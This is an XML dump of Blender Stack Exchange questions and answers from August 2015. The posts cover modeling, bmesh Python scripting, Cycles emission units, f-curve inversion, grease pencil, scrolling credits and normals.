  <row Id="35279" PostTypeId="2" ParentId="35244" CreationDate="2015-08-07T21:22:42.120" Score="9" Body="&lt;h2&gt;Extend vertices&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Modeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.72&lt;/a&gt; Blender versions, with the command &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; and a vertex selected, you can add a vertex on edge next to the mouse cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, by double tapping &lt;kbd&gt;G&lt;/kbd&gt; key, you can slide it along the edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just need one single extra vertex and you are not interested in a uniform object subdivision, there's no fastest way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u1qiy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u1qiy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorDisplayName="user1853" LastEditDate="2019-06-15T15:40:59.663" LastActivityDate="2019-06-15T15:40:59.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35280" PostTypeId="2" ParentId="35161" CreationDate="2015-08-07T21:25:04.643" Score="1" Body="&lt;p&gt;Epiphany hit me and I just deleted the faces over the point in edit mode, switched back to sculpt mode, grabbed the vertex with the &quot;grab brush&quot; and pulled it back to the outside, filled the faces back in in edit mode and then smoothed out the mess that made back in sculpt mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much what Todd suggested!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All good now!&lt;/p&gt;&#xA;" OwnerUserId="16176" LastActivityDate="2015-08-07T21:25:04.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35281" PostTypeId="1" CreationDate="2015-08-07T21:48:45.903" Score="5" ViewCount="105" Body="&lt;p&gt;I'm making a very simple game where you, playing with a helicopter, have to drop off people in difficult areas. Though it might be a fun game, it's more of an exercise to get used to python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm almost there, so most things work. The problem now is that when I drop the AI characters, they land on the exact same spot; so they land on each other. What I want is that every character, when landed, walks to a random position in certain area around the landing zone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) is this possible or am I asking too much?&lt;br&gt;&#xA;2) remark: the characters are just jumping out of the heli, not with a parachute or anything ;)&lt;/p&gt;&#xA;" OwnerUserId="16128" LastEditorUserId="60816" LastEditDate="2018-08-06T15:42:35.290" LastActivityDate="2018-08-06T15:42:35.290" Title="Computer Movement" Tags="&lt;game-engine&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35282" PostTypeId="2" ParentId="35278" CreationDate="2015-08-07T21:57:27.633" Score="4" Body="&lt;p&gt;The mesh &lt;code&gt;me&lt;/code&gt; must not be in edit-mode when writing the bmesh object &lt;code&gt;bm&lt;/code&gt; back to &lt;code&gt;me&lt;/code&gt; - like the error message tells you:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ValueError: to_mesh(): Mesh 'Cube' is in editmode&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, either run the code when the mesh is in object mode, respectively change the mode: &lt;code&gt;bpy.ops.object.mode_set(mode='OBJECT')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use a wrapped bm, which means to directly manipulate the editmode mesh through the bmesh module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;for v in bm.verts:&#xA;    v.co.x += 1.0&#xA;&#xA;# Update mesh, so we see the changes.&#xA;bmesh.update_edit_mesh(me, False, False)&#xA;&#xA;# Because we did not add or remove geometry,&#xA;# tessface=False and destructive=False can be used.&#xA;# DO NOT DO THIS IF YOU CHANGED GEOMETRY!&#xA;# Blender will crash otherwise.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, you can either fill in a mesh, manipulate it (purely in memory, the original mesh is not changed) and write it to a mesh datablock afterwards if desired &lt;strong&gt;OR&lt;/strong&gt; gain access to the editmesh and edit it directly with all changes being applied to the original mesh without copying (the update at the end is required though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can chose which way to use based on the current mode to avoid unnecessary mode switches:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;if me.is_editmode:&#xA;    bm = bmesh.from_edit_mesh(me)&#xA;else:&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(me)&#xA;&#xA;for v in bm.verts:&#xA;    v.co.x += 1.0&#xA;&#xA;if bm.is_wrapped:&#xA;    bmesh.update_edit_mesh(me, False, False)&#xA;else:&#xA;    bm.to_mesh(me)&#xA;    me.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW: &lt;code&gt;update&lt;/code&gt; is a method of the Mesh type, you need to call it: &lt;code&gt;me.update()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-07T21:57:27.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35284" PostTypeId="1" AcceptedAnswerId="35285" CreationDate="2015-08-07T22:41:35.723" Score="5" ViewCount="1425" Body="&lt;p&gt;If I wanted to accurately reproduce the brightness of a real-world object in Cycles to see how Cycles rendered it, how would I convert the real-world units (like lux) into strength values?&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-08-11T21:14:20.773" Title="How do cycles' emission strength values relate to real-world units?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35285" PostTypeId="2" ParentId="35284" CreationDate="2015-08-07T22:43:33.560" Score="2" Body="&lt;p&gt;From the documentation: &quot;Strength input: Strength of the emitted light. For point and area lamps, the unit is Watts. For materials, a value of 1.0 will ensure that the object in the image has the exact same color as the Color input, i.e. make it ‘shadeless’.&quot;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-08-07T22:43:33.560" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35286" PostTypeId="2" ParentId="35256" CreationDate="2015-08-07T23:16:59.497" Score="2" Body="&lt;p&gt;Assuming that you are using .obj file exange format, Pepakura will import the object exported from Blender as a single object if in blender you join all the geometry in a single object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pepakura is an unfolding software. Starting from the given geometry,it caluculates the angles and suggest where to put seams, add labels... but all rely on the initial geometry. If you give it two disconnected pieces, even if they are &quot;the same object&quot; they will be considered disconnected, so their boundaries will obiuvsly be seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r5PVn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r5PVn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sRFl3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sRFl3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice in the images above how pepakura ignores the fact that the cubes are intersected and cosider them as two disjoined cubes (as they are also in Blender, evon though they are stored in the same object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should work on your geometry and make all the pieces that you want be connected a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Boolean operations&lt;/li&gt;&#xA;&lt;li&gt;Bridge edge loops, or add faces manually or with F2 add-on if the borders are distant&lt;/li&gt;&#xA;&lt;li&gt;Remove doubles, if border are almost in the same place&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-07T23:16:59.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35287" PostTypeId="2" ParentId="35227" CreationDate="2015-08-07T23:42:16.813" Score="2" Body="&lt;h2&gt;Yes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Build a setup where the image is mapped with Object coordinates and poin to the Empty object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are probably missing is that, while a procedural texture has usually variable colors in the 3D space, an image has only 2D informations, so the texture is projected onto the XY plane of the Empty. The Z values are all the same, it's the same texture thet is being reproduced, that's why you see those streaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5mfdE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5mfdE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By rotating the empty you can project the texture on other sides of susanne, but along the Z axis of the empty you will never get a texture variance without adding something (noise texture, ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1zGd2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1zGd2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-07T23:42:16.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35288" PostTypeId="2" ParentId="35277" CreationDate="2015-08-08T00:46:22.147" Score="2" Body="&lt;h2&gt;Part I.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To move many keyframes at once you can use the Dope Sheet editor instead of the Graph Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oIgfP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oIgfP.png&quot; alt=&quot;Dope Sheet Editor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Dope Sheet editor all actions are represented by little diamond markers. In the above screen shot the column of markers on the right (colored) are selected, and the ones on the left are not selected. Selecting, deselecting, grabbing, etc in this editor works the same way as in Blender's other editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the order of hierarchy: The top row is for all objects in the scene. The second row is for just the &quot;Cube&quot; object. The third row &quot;CubeAction&quot; is for actions involving the object, such as LocRotScale transformations (but not for things like Material animation). The fourth row &quot;LocRotScale&quot; contains the actual animation keyframes and if you expand it you will see the individual rows/tracks for Location, Rotation, and Scale for each of the X/Y/Z axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to move just one axis you would expand &quot;LocRotScale&quot;, find &quot;X Location&quot; for example and move just its individual marker. But to do what you described - moving all axes at once - you can just leave &quot;LocRotScale&quot; collapsed and drag that marker. All of the animation data will be moved together.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Part II.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to adjust just the ease of the curves specifically and not their position, you can select the keyframes in the Graph Editor and scale them along only the X axis. Their bezier handles will be moved closer to or farther from the keyframe points, thus altering the ease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a variation of this you can try scaling with the Pivot Point set to Individual Centers. You may find that scaling and rotating from individual centers gives you more control than simply scaling along X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DbazX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DbazX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-27T16:25:13.667" LastActivityDate="2015-08-27T16:25:13.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35289" PostTypeId="1" CreationDate="2015-08-08T04:02:53.000" Score="3" ViewCount="964" Body="&lt;p&gt;So I am currently making an audio visualiser and I want it so that when a specific frequency hits the object will be black. Currently, whenever a specific frequency hits it is white. This means I have to invert the f curves. Is there a way to do this?&lt;a href=&quot;https://i.stack.imgur.com/LywCj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LywCj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16235" LastActivityDate="2021-01-20T19:36:50.547" Title="How to invert f curves?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35290" PostTypeId="2" ParentId="35289" CreationDate="2015-08-08T04:23:09.793" Score="4" Body="&lt;p&gt;An alternative to inverting the curve is inverting how the curve affects the material. The curve will remain the same but the resulting colors will be inverted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a value node and create a keyframe for it. Bake the sound curve to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4OFlV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4OFlV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you can invert the values with an invert node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4c5i9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4c5i9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wYPP3.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYPP3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-02-04T15:22:25.583" LastActivityDate="2016-02-04T15:22:25.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35291" PostTypeId="1" AcceptedAnswerId="35292" CreationDate="2015-08-08T06:52:51.483" Score="5" ViewCount="4612" Body="&lt;p&gt;Blender 2.69 on Ubuntu 14.04..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kGTem.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGTem.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15548" LastActivityDate="2015-08-08T07:04:01.247" Title="Outliner -&gt; vertex group select, not yet implemented: is it a bug?" Tags="&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35292" PostTypeId="2" ParentId="35291" CreationDate="2015-08-08T07:04:01.247" Score="4" Body="&lt;p&gt;I don't think you can select the vertex groups via the outliner (because it is not yet implemented), but you still have to select it via the properties panel --&gt; Data object data --&gt; vertex groups&#xA;(in version 2.75 it is also not yet implemented)&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-08T07:04:01.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35294" PostTypeId="1" CreationDate="2015-08-08T09:44:25.477" Score="0" ViewCount="69" Body="&lt;p&gt;I want to create and integer Integer ID-Property and assign Update function to it&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-08-08T09:44:25.477" Title="How to add update function to ID-Property" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35295" PostTypeId="1" AcceptedAnswerId="35301" CreationDate="2015-08-08T09:47:53.060" Score="1" ViewCount="891" Body="&lt;p&gt;At the end of a video (resolution 1080x720) I wanted to display the 'credits'. I thought the most simple way way was making an image file (with GIMP) with all the text that I could import to blender and move (scroll) via keyframes. The file is of size 1080x5000px. This was getting cropped when transforming (after checking the 'image offset' box), which is what I want to avoid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here in detail what I did so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import it, it is automatically stretched to the size of the video:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zbr4Dm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zbr4Dm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For getting the original aspect ratio I read that I should check the option 'image offset, which looked promising:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ID5I7m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ID5I7m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I tried to make the image smaller and move it (via &lt;em&gt;effect strip&gt;transform&lt;/em&gt;) the rest of the 'credits' image was cropped/not visible anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g6FXy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6FXy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, this only shows the last line of the credits, the rest is cropped away and I have no idea why.&#xA;So can anyone tell me how to make the rest of the image visible again? Is there maybe another way of importing it?&lt;/p&gt;&#xA;" OwnerUserId="8168" LastEditorUserId="8168" LastEditDate="2015-08-08T12:11:43.227" LastActivityDate="2015-08-08T12:11:43.227" Title="Importing image with original asspect ratio without cropping" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35296" PostTypeId="1" AcceptedAnswerId="35297" CreationDate="2015-08-08T09:49:36.070" Score="13" ViewCount="22618" Body="&lt;p&gt;I used to draw grease pencil on surface normally on older blender versions but now I cant find the option to do that,how can I draw on surface on the new blender grease pencil?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2018-12-18T22:57:10.993" Title="How to draw grease pencil on a surface (blender 2,75)?" Tags="&lt;grease-pencil&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35297" PostTypeId="2" ParentId="35296" CreationDate="2015-08-08T09:53:17.773" Score="13" Body="&lt;p&gt;In the toolbar (T) you now have a grease pencil tab. The stroke placement is in that tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TlS7W.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TlS7W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-08-08T10:07:37.377" LastActivityDate="2015-08-08T10:07:37.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35299" PostTypeId="2" ParentId="35276" CreationDate="2015-08-08T11:38:27.030" Score="2" Body="&lt;p&gt;The 'width outline' option found in themes adjusts the width of the outline drawn around selected objects. There is no option to adjust the width of lines when drawing objects in the 3dview. There is a pixel mode setting that will allow lines in the 3dview (and all other interface items) to be drawn at double width, this is intended for the Apple's retina displays. You may also want to adjust the DPI setting to control the interface outside the 3dview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option involves altering blenders source code. I don't think there is one location to adjust the line size, you may have to adjust the drawing of each object type, you could setup a preference that is then used in each place. The code you would need to change should be contained within &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/editors/space_view3d/&quot; rel=&quot;nofollow&quot;&gt;editors/space_view3d/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-08T11:38:27.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35300" PostTypeId="1" AcceptedAnswerId="35309" CreationDate="2015-08-08T11:45:40.877" Score="3" ViewCount="1496" Body="&lt;p&gt;I'm modeling a simple hard surface object, not using SDS. But I need a couple of edges to be well rounded, so I beveled them with 3 segments and smooth-shaded the bevel faces. It rounds well enough, except that it doesn't blend with the other faces, there is a hard seam between the smooth-shaded and flat-shaded faces. Is there a way to fix this? To blend the two together? I need the rest of the faces flat-shaded. So I need to combine the two.&lt;/p&gt;&#xA;" OwnerUserId="16239" LastEditorUserId="2217" LastEditDate="2015-08-08T12:02:18.820" LastActivityDate="2015-08-08T15:23:07.063" Title="How to combine smooth and non-smooth faces?" Tags="&lt;modeling&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35301" PostTypeId="2" ParentId="35295" CreationDate="2015-08-08T12:01:58.377" Score="1" Body="&lt;p&gt;You have found right option, the only thing left is to animate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your credits imported, find the best &lt;strong&gt;Offset&lt;/strong&gt; options (both X and Y) to make them begin the credits being in the bottom and end - in the top of frame, and animate your found values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o6wWM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o6wWM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the 1st frame this value is -1850 for me, and in the last - around 230. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result will be scrolling your text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5wJpS.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5wJpS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;text from &lt;a href=&quot;http://www.lincolninst.edu/subcenters/making-sense-of-place/cleveland/about/credits.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The much more in-depth solution is provided in &lt;a href=&quot;https://blender.stackexchange.com/questions/32585/scrolling-credits&quot;&gt;this solution&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-08-08T12:01:58.377" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35303" PostTypeId="1" AcceptedAnswerId="35313" CreationDate="2015-08-08T13:02:07.377" Score="7" ViewCount="653" Body="&lt;p&gt;I'm trying to create a circular saw blade like the one pictured here, which I grabbed off blendswap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aQ8fA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQ8fA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I might be able to create the handles for one of the teeth, then spin around the origin for the rest - there is no spin tool for curves though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create this saw blade, without scripting?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-08-08T19:26:45.210" Title="Spinning curve vertices" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35304" PostTypeId="2" ParentId="35266" CreationDate="2015-08-08T13:06:03.517" Score="1" Body="&lt;p&gt;This happens when you mirror manually instead of using the Mirror Modifier. There may be times when you want to mirror manually, but just be aware that this will happen and recalculate your normals afterward (by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; in Edit Mode with geometry selected). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this occurs is that each point is being moved to its mirror-opposite location and as it moves the outermost points actually cross over the innermost ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take one step back. First you must understand what normal vectors, or &quot;normals&quot; are. They are the outward-facing directional vector that each face in your mesh has. If you want to see which way your normals are facing, you can enable this in your Mesh Display options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h6bI8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h6bI8.png&quot; alt=&quot;Mesh Display Options: Face Normals Visible&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the analogy of a sock being turned inside-out. Here is our modeled sock, and as the duplicated sock is scaled on the X axis about the 3D Cursor, the vertices on the tips of the toes cross over the vertices on the rim of the sock, thus turning it inside-out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lFqVx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lFqVx.png&quot; alt=&quot;Sock mesh and inverted sock mesh (normals flipped)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with face normals made visible you can see exactly what's happening. The brightly-colored prongs poking out from each face are a visual representation of your normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K0WOm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K0WOm.png&quot; alt=&quot;Sock mesh and inverted sock mesh (with normals displayed)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertices (and edges, sort of) have normals too, and you can display those also if you want, but they don't play a role in your shading the way face normals do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should you be concerned about inverted normals? Yes. While they may not cause you trouble in all situations, there are plenty of situations in which they will - for example, they may cause your materials or textures to look wrong, cause texture baking to go wrong, cause your booleans to fail, cause 3D-printing to fail, and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dark shading is Blender's viewport telling you: &quot;I think this is the &lt;em&gt;interior&lt;/em&gt; of your object&quot;, so if you see dark shading on the &lt;em&gt;exterior&lt;/em&gt; you should examine your normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, you can prevent inverted normals by using a Mirror Modifier instead of manually mirroring, or simply recalculate normals afterward.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-08T13:27:15.093" LastActivityDate="2015-08-08T13:27:15.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35305" PostTypeId="1" CreationDate="2015-08-08T13:51:31.720" Score="0" ViewCount="689" Body="&lt;p&gt;I've followed &lt;a href=&quot;https://blender.stackexchange.com/questions/24284/creating-inky-looking-characters-in-blender&quot;&gt;this tutorial&lt;/a&gt; (first highlighted answer), I've set the right volume material and voxel texture, have lights, etc... I've baked the smoke, it appears correctly in the viewport, exactly as intended in the 3d viewer. But as soon as I hit render, the smoke object doesn't appears at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smoke used to work on my system, quick smoke is ok etc... I don't understand why in this case it doesn't, do you have any clues?&lt;/p&gt;&#xA;" OwnerUserId="16242" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-08-11T13:12:57.080" Title="Smoke appears on viewport but doesn't in final render" Tags="&lt;rendering&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
